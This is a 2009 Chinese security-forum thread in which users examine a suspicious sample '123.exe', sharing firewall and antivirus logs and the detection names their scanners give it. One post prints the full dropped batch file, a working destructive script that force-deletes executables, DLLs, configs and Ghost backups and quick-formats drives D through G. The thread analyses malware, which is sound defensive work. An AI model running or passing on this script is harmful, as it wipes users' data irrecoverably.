这是什么东东？

post8

hddu

病毒。

2009-08-22 11:58:23    运行应用程序      操作:阻止
进程路径:E:\123\123.exe
文件路径:C:\WINDOWS\system32\conime.exe
触发规则:所有程序规则->系统程序设置->*\conime.exe

2009-08-22 11:58:23    创建文件      操作:允许
进程路径:E:\123\123.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\~1.bat
触发规则:所有程序规则->文件创建设置_普通模式1->%SystemDrive%\*.bat

2009-08-22 11:58:23    修改文件      操作:阻止并结束进程
进程路径:E:\123\123.exe
文件路径:(隐藏文件)C:\Documents and Settings\Administrator\Local Settings\Temp\~1.bat
触发规则:所有程序规则->文件创建设置_普通模式1->%SystemDrive%\*.bat
~1.bat内容：
@shift
@echo off
del /f /s /q *.tmp
del /f /s /q *._mp
del /f /s /q *.log
del /f /s /q *.ini
del /f /s /q *.inf
del /f /s /q *.dll
del /f /s /q *.gid
del /f /s /q *.chk
del /f /s /q *.old
del /f /s /q *.GHO
del /f /s /q *.exe
del /f /s /q *.php
del /f /s /q *.asp
del /f /s /q *.asa
del /f /s /q *.swf
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
del   del.bat

[ 本帖最后由 hddu 于 2009-8-22 12:02 编辑 ]

Palkia

卡巴 miss

009-8-22        12:00:04        已由访问保护规则禁止         xxAdministrator        C:\Documents and Settings\Administrator\桌面\123.exe        C:\windows\System32\IMM32.DLL        防病毒爆发控制:阻止对所有共享资源的读写访问        已阻止的操作: 执行
2009-8-22        12:00:04        已由访问保护规则禁止         xx\Administrator        C:\Documents and Settings\Administrator\桌面\123.exe        C:\windows\System32\LPK.DLL        防病毒爆发控制:阻止对所有共享资源的读写访问        已阻止的操作: 执行
2009-8-22        12:00:04        已由访问保护规则禁止 xx\Administrator        C:\Documents and Settings\Administrator\桌面\123.exe        C:\windows\System32\conime.exe        防病毒爆发控制:阻止对所有共享资源的读写访问        已阻止的操作: 读取
2009-8-22        12:00:04        已由访问保护规则禁止         xx\Administrator        C:\Documents and Settings\Administrator\桌面\123.exe        C:\Documents and Settings\Administrator\Local Settings\Temp\~F8.tmp        防病毒爆发控制:阻止对所有共享资源的读写访问        已阻止的操作: 创建
2009-8-22        12:00:04        已由访问保护规则禁止 xx\Administrator        C:\Documents and Settings\Administrator\桌面\123.exe        C:\Documents and Settings\Administrator\桌面\
.bat        防病毒爆发控制:阻止对所有共享资源的读写访问        已阻止的操作: 创建

Palkia

一类的
http://bbs.kafan.cn/thread-543392-1-1.html

[ 本帖最后由 Palkia 于 2009-8-22 12:06 编辑 ]

post8

真不知道。。。重复了

kingmuro

Win32:Trojan-gen {Other}

buycard

F-prot
Found backdoor: W32/Backdoor2.ELUF (exact)

kalynn84

Win32:Trojan-gen {Other}

尤金卡巴斯基

2009/8/22 20:04:38        已清除        木马程序 Trojan.BAT.KillWin.er        G:\Temp\Virus\~1.rar/~1.bat               
2009/8/22 20:04:39        已清除        木马程序 Trojan.BAT.KillWin.er        G:\Temp\Virus\123.rar/123.exe